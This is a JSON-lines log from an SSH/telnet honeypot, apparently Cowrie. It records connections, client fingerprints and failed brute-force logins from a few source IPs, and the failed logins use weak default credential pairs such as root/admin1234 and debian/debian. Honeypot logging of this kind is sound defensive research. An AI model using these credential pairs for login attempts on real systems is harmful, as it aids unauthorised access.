{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:27.793730Z","src_ip":"192.109.200.237","session":"9b4b6039e125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.4464373588562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:28.436968Z","src_ip":"50.6.8.71","session":"fb3cb742523f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:28.496956Z","src_ip":"2.57.121.25","session":"92257eb07072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.51156711578369,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:29.020375Z","src_ip":"50.6.8.71","session":"b2b7df1fbae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55856,"dst_ip":"159.203.135.109","dst_port":22,"session":"bda9e245c057","protocol":"ssh","message":"New connection: 192.109.200.237:55856 (159.203.135.109:22) [session: bda9e245c057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:29.895440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:29.899630Z","src_ip":"192.109.200.237","session":"bda9e245c057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:29.981801Z","src_ip":"192.109.200.237","session":"bda9e245c057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.4743070602417,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:30.172108Z","src_ip":"50.6.8.71","session":"32a032e67543","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:30.233261Z","src_ip":"192.109.200.237","session":"bda9e245c057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.745243310928345,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:30.716397Z","src_ip":"50.6.8.71","session":"b997e2dda834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:31.318480Z","src_ip":"192.109.200.237","session":"bda9e245c057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50454,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdbe6c655249","protocol":"ssh","message":"New connection: 192.109.200.237:50454 (159.203.135.109:22) [session: bdbe6c655249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:33.351871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:33.355546Z","src_ip":"192.109.200.237","session":"bdbe6c655249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:33.440090Z","src_ip":"192.109.200.237","session":"bdbe6c655249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:33.682957Z","src_ip":"192.109.200.237","session":"bdbe6c655249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:34.858414Z","src_ip":"192.109.200.237","session":"bdbe6c655249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33646,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa2cf71c551","protocol":"telnet","message":"New connection: 50.6.8.71:33646 (10.17.0.5:23) [session: 7fa2cf71c551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:35.602823Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50462,"dst_ip":"159.203.135.109","dst_port":22,"session":"2728e7554aea","protocol":"ssh","message":"New connection: 192.109.200.237:50462 (159.203.135.109:22) [session: 2728e7554aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:36.887086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:36.894851Z","src_ip":"192.109.200.237","session":"2728e7554aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57242,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a7427e270f7","protocol":"telnet","message":"New connection: 50.6.8.71:57242 (10.17.0.5:23) [session: 9a7427e270f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:36.958940Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:36.976369Z","src_ip":"192.109.200.237","session":"2728e7554aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:37.340749Z","src_ip":"192.109.200.237","session":"2728e7554aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57258,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da2d1f0bcb8","protocol":"telnet","message":"New connection: 50.6.8.71:57258 (10.17.0.5:23) [session: 0da2d1f0bcb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:37.658495Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:38.425676Z","src_ip":"192.109.200.237","session":"2728e7554aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34734,"dst_ip":"159.203.135.109","dst_port":22,"session":"232e38168ec8","protocol":"ssh","message":"New connection: 192.109.200.237:34734 (159.203.135.109:22) [session: 232e38168ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:40.511945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:40.516456Z","src_ip":"192.109.200.237","session":"232e38168ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"4637bf39b8eb","protocol":"telnet","message":"New connection: 50.6.8.71:57264 (10.17.0.5:23) [session: 4637bf39b8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:40.531840Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:40.598714Z","src_ip":"192.109.200.237","session":"232e38168ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:40.846647Z","src_ip":"192.109.200.237","session":"232e38168ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:41.932138Z","src_ip":"192.109.200.237","session":"232e38168ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.94854474067688,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:42.369607Z","src_ip":"50.6.8.71","session":"8c4dfd3e3a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34750,"dst_ip":"159.203.135.109","dst_port":22,"session":"595532c4329b","protocol":"ssh","message":"New connection: 192.109.200.237:34750 (159.203.135.109:22) [session: 595532c4329b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:43.870723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:43.875467Z","src_ip":"192.109.200.237","session":"595532c4329b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:43.958469Z","src_ip":"192.109.200.237","session":"595532c4329b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:44.364008Z","src_ip":"192.109.200.237","session":"595532c4329b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:45.448534Z","src_ip":"192.109.200.237","session":"595532c4329b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34758,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef6f04af28de","protocol":"ssh","message":"New connection: 192.109.200.237:34758 (159.203.135.109:22) [session: ef6f04af28de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:47.534939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:47.538529Z","src_ip":"192.109.200.237","session":"ef6f04af28de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:47.623996Z","src_ip":"192.109.200.237","session":"ef6f04af28de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58898,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd9234b1014","protocol":"telnet","message":"New connection: 50.6.8.71:58898 (10.17.0.5:23) [session: 1bd9234b1014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:47.695869Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:47.873653Z","src_ip":"192.109.200.237","session":"ef6f04af28de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:48.960106Z","src_ip":"192.109.200.237","session":"ef6f04af28de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35918,"dst_ip":"159.203.135.109","dst_port":22,"session":"1424abee126f","protocol":"ssh","message":"New connection: 192.109.200.237:35918 (159.203.135.109:22) [session: 1424abee126f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:51.050840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:51.055189Z","src_ip":"192.109.200.237","session":"1424abee126f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:51.137263Z","src_ip":"192.109.200.237","session":"1424abee126f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:51.383003Z","src_ip":"192.109.200.237","session":"1424abee126f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:52.468323Z","src_ip":"192.109.200.237","session":"1424abee126f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35924,"dst_ip":"159.203.135.109","dst_port":22,"session":"453306f4792a","protocol":"ssh","message":"New connection: 192.109.200.237:35924 (159.203.135.109:22) [session: 453306f4792a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:54.596869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:54.604895Z","src_ip":"192.109.200.237","session":"453306f4792a","protocol":"ssh"}
